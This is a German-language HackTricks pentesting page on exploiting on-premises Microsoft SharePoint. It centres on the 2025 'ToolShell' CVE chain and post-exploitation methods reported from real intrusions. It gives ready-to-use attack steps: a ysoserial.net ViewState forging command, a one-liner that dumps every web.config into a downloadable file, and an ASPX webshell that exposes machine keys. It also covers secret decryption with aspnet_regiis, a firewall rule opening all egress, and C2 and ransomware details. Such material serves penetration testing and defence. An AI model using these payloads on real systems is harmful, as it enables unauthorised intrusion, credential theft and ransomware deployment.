Microsoft SharePoint – Pentesting & Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-Angriffsflächen (ViewState, Web.Config, web shells, etc.) sind daher vorhanden, aber SharePoint enthält außerdem Hunderte proprietärer ASPX-Seiten und Web-Services, die die exponierte Angriffsfläche dramatisch vergrößern. Diese Seite sammelt praktische Tricks, um SharePoint-Umgebungen zu enumerate, exploit und persist, mit Schwerpunkt auf der 2025 exploit chain, die von Unit42 offengelegt wurde (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 Exploit-Kette (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> ermöglicht das Injizieren beliebigen Server-Side Include-Codes in die Seite, der später von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start() ausführt, und eine bösartige ViewState ablegen.
2.2 CVE-2025-49706 – Improper Authentication Bypass
Die gleiche Seite vertraut dem X-Forms_BaseUrl-Header, um den Site-Kontext zu bestimmen. Durch das Setzen desselben auf /_layouts/15/ kann MFA/SSO, das auf der Root-Site erzwungen wird, unauthenticated umgangen werden.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Sobald der Angreifer ein Gadget in ToolPane.aspx kontrolliert, kann er einen unsigned (oder MAC-only) __VIEWSTATE-Wert posten, der .NET-Deserialisierung innerhalb von w3wp.exe auslöst und zur Codeausführung führt.
Wenn Signing aktiviert ist, stiehlt man den ValidationKey/DecryptionKey aus einer beliebigen web.config (siehe 2.4) und fälscht die Nutzlast mit ysoserial.net oder ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Für eine ausführliche Erklärung zum Missbrauch von ASP.NET ViewState lesen Sie:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure
Durch Senden eines manipulierten Source-Parameters an ToolPane.aspx (z. B. ../../../../web.config) wird die angezielte Datei zurückgegeben, wodurch die Offenlegung von folgenden Informationen möglich ist:
<machineKey validationKey="…" decryptionKey="…">➜ forge ViewState / ASPXAUTH cookies- Verbindungsstrings & Geheimnisse.
2.5 ToolShell workflow observed in Ink Dragon intrusions
Check Point hat abgebildet, wie Ink Dragon die ToolShell-Kette monatelang operationalisierte, bevor Microsoft Fixes auslieferte:
- Header spoofing for auth bypass – der Akteur sendet POST-Anfragen an
/_layouts/15/ToolPane.aspxmitReferer: https://<victim>/_layouts/15/sowie einem gefälschtenX-Forms_BaseUrl. Diese Header überzeugen SharePoint, dass die Anfrage von einem vertrauenswürdigen Layout stammt, und umgehen vollständig die Front-Door-Authentifizierung (CVE-2025-49706/CVE-2025-53771). - Serialized gadget in the same request – der Body enthält vom Angreifer kontrollierte ViewState/ToolPart-Daten, die den verwundbaren serverseitigen Formatter erreichen (CVE-2025-49704/CVE-2025-53770). Die Payload ist üblicherweise eine ysoserial.net-Kette, die innerhalb von
w3wp.exeläuft, ohne jemals die Festplatte zu berühren. - Internet-scale scanning – die Telemetrie aus Juli 2025 zeigt, dass sie jeden erreichbaren
/_layouts/15/ToolPane.aspx-Endpunkt enumerieren und ein Wörterbuch geleakter<machineKey>-Paare abspielen. Jede Site, die einen Beispiel-validationKeyaus Dokumentation kopiert hat, kann kompromittiert werden, selbst wenn sie sonst vollständig gepatcht ist (siehe die ViewState-Seite für den Signing-Workflow). - Immediate staging – erfolgreiche Exploitation legt einen Loader oder PowerShell-Stager ab, der: (1) jede
web.configausliest, (2) eine ASPX webshell als Notfallzugang ablegt, und (3) einen lokalen Potato privesc plant, um dem IIS-Worker zu entkommen.
3. Post-exploitation recipes observed in the wild
3.1 Exfiltrate every .config file (variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resultierende debug_dev.js kann anonym heruntergeladen werden und enthält alle sensiblen Konfigurationen.
3.2 Bereitstellen einer Base64-kodierten ASPX web shell (variation-2)
powershell.exe -EncodedCommand <base64>
Dekodiertes payload-Beispiel (gekürzt):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geschrieben in:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die shell exponiert Endpunkte, um Maschinenschlüssel zu lesen / zu rotieren, was das Forging von ViewState- und ASPXAUTH-Cookies über die Farm hinweg ermöglicht.
3.3 Obfuscated variant (variation-3)
Dasselbe shell, aber:
- dropped under
...\15\TEMPLATE\LAYOUTS\ - Variablennamen auf einzelne Buchstaben reduziert
Thread.Sleep(<ms>)hinzugefügt für sandbox-evasion & timing-based AV bypass.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (beobachtet 2025–2026)
Aktuelle Incident-Response-Untersuchungen (Unit42 “Project AK47”) zeigen, wie Angreifer die ToolShell-Kette nach initialer RCE nutzen, um ein duales C2-Implantat und Ransomware in SharePoint-Umgebungen auszurollen:
AK47C2 – dnsclient variant
- Hardcodierter DNS-Server:
10.7.66.10, der mit der autoritativen Domainupdate.updatemicfosoft.comkommuniziert. - Nachrichten sind JSON-Objekte, XOR-verschlüsselt mit dem statischen Key
VHBD@H, hex-kodiert und als Subdomain-Labels eingebettet.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lange Abfragen werden in Chunks aufgeteilt und mit
svorangestellt, dann serverseitig wieder zusammengesetzt. - Server-Antworten in TXT-Records verwenden dasselbe XOR/hex-Schema:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 führte ein vereinfachtes Format
<COMMAND>::<SESSION_KEY>und Chunk-Marker1,2,aein.
AK47C2 – httpclient variant
- Verwendet dieselbe JSON- & XOR-Routine, sendet den Hex-Blob jedoch im HTTP POST body über
libcurl(CURLOPT_POSTFIELDS, etc.). - Gleicher Task-/Result-Workflow, der Folgendes ermöglicht:
- Beliebige Shell-Befehlsausführung.
- Dynamisches Sleep-Intervall und kill-switch-Anweisungen.
X2ANYLOCK ransomware
- 64-bit C++ Payload geladen via DLL side-loading (siehe unten).
- Verwendet AES-CBC für Datei-Daten + RSA-2048 zur Umhüllung des AES-Schlüssels, dann hängt es die Extension
.x2anylockan. - Verschlüsselt rekursiv lokale Laufwerke und gefundene SMB-Shares; überspringt Systempfade.
- Hinterlässt eine Klartext-Notiz
How to decrypt my data.txt, die eine statische Tox ID für Verhandlungen einbettet. - Enthält einen internen kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Angreifer platziert
dllhijacked.dll/My7zdllhijacked.dllneben eine legitime7z.exe. - Vom SharePoint gestartetes
w3wp.exestartet7z.exe, das aufgrund der Windows-Suchreihenfolge die bösartige DLL lädt und den Ransomware-Entrypoint im Speicher aufruft. - Ein separater LockBit-Loader wurde beobachtet (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll), entschlüsselt Shellcode und führt DLL hollowing ind3dl1.dlldurch, um LockBit 3.0 auszuführen.
[!INFO] Dieselbe statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in leaked LockBit-Datenbanken und deutet auf Überschneidungen bei Affiliates hin.
3.5 Turning SharePoint loot into lateral movement
- Jeden geschützten Abschnitt entschlüsseln – sobald man auf dem Web-Tier sitzt, missbrauche
aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(oder-px "appSettings") um die Klartext-Secrets zu dumpen, die sich hinter<connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">verstecken. Ink Dragon hat auf diese Weise wiederholt SQL-Logins, SMTP-Relays und benutzerdefinierte Service-Credentials geerntet. - App-Pool-Konten über Farms wiederverwenden – viele Unternehmen verwenden dasselbe Domänenkonto für
IIS APPPOOL\SharePointauf jedem Front-End. Nach dem Entschlüsseln vonidentity impersonate="..."-Blöcken oder dem Lesen vonApplicationHost.config, teste die Credentials über SMB/RDP/WinRM an jeden anderen Server. In mehreren Vorfällen war das Konto auch ein lokaler Administrator, waspsexec,sc createoder Scheduled-Task-Staging ermöglichte, ohne Password-Sprays auszulösen. - Abuse leaked
<machineKey>values internally – selbst wenn der Internet-Perimeter gepatcht wird, ermöglicht die Wiederverwendung desselbenvalidationKey/decryptionKeylaterale ViewState-Exploitation zwischen internen SharePoint-Zonen, die einander vertrauen.
3.6 Persistenzmuster, die in den Intrusionen 2025 beobachtet wurden
- Geplante Tasks – eine einmalige Aufgabe namens
SYSCHECK(oder andere gesundheitsbezogene Namen) wird mit/ru SYSTEM /sc once /st <hh:mm>erstellt, um den Next-Stage-Loader zu starten (häufig ein umbenanntesconhost.exe). Da sie einmalig ausgeführt wird, geht sie in der Telemetrie oft verloren, es sei denn, historisches Task-XML wird aufbewahrt. - Maskierte Services – Dienste wie
WindowsTempUpdate,WaaSMaintaineroderMicrosoftTelemetryHostwerden viasc createinstalliert, die auf das sideloading triad-Verzeichnis zeigen. Die Binaries behalten ihre ursprünglichen AMD/Realtek/NVIDIA-Signaturen, werden aber umbenannt, um Windows-Komponenten zu entsprechen; der Vergleich des On-Disk-Namens mit demOriginalFileNamePE-Feld ist ein schneller Integritätscheck.
3.7 Host firewall downgrades for relay traffic
Ink Dragon fügt routinemäßig eine freizügige ausgehende Regel hinzu, die sich als Defender-Wartung tarnt, sodass ShadowPad/FinalDraft-Traffic über jeden Port ausgehend passieren kann:
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any
Da die Regel lokal erstellt wird (nicht via GPO) und das legitime Defender-Binary als program= verwendet, ignorieren die meisten SOC-Baselines sie; dennoch öffnet sie Any ➜ Any egress.
Verwandte Tricks
- IIS post-exploitation & web.config Missbrauch:
IIS - Internet Information Services
Quellen
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
- Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


